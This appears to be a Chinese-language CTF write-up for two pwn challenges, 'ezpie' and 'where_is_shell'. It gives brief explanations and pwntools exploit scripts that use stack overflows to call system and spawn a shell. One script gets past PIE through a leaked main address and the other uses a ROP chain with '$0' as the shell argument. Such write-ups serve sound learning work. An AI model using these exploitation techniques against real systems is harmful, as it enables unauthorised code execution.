[NISACTF 2022]ezpie
开启了pie保护,但每次运行程序都会打印出main函数的地址。存在gets函数并且没有开栈保护,考虑栈溢出
虽然每次地址都会重新加载,但是system
函数和main
函数之间的偏移是不会改变的,因此先计算出偏移,再根据给次给出的main
的基地址就可以算出真实的system
的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import *
context(log_level='debug',arch='i386',os='linux')
io=remote('node5.anna.nssctf.cn',28270) offset=0x28+0x4
main_addr=0x770 system_addr=0x80f real_offset=system_addr-main_addr
io.recvuntil("gift!\n") real_main=int(io.recv(10),16)
real_system=real_main+real_offset payload=b'a'*offset+p32(real_system) io.sendline(payload) io.recv() io.interactive()
|
[GFCTF 2021]where_is_shell
栈溢出,但是没有/bin/sh,其实可以考虑栈迁移写入,但是还没学那么深,这里明确一个小tips:
$0也可以当做/bin/sh使用,$0的机械码正好对应题目中tips的 \x24\x30
从地址0x400541开始
64位注意传参的顺序及优先写入的寄存器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import *
context(log_level='debug',arch='i386',os='linux')
io=process('./shell') elf=ELF('./shell')
offset=0x10+0x8 sys_addr=elf.sym['system'] binsh_addr=0x400541 ret=0x0000000000400416 pop_rdi_ret=0x00000000004005e3 payload=b'a'*offset+p64(ret)+p64(pop_rdi_ret)+p64(binsh_addr)+p64(sys_addr)
io.sendline(payload) io.interactive()
|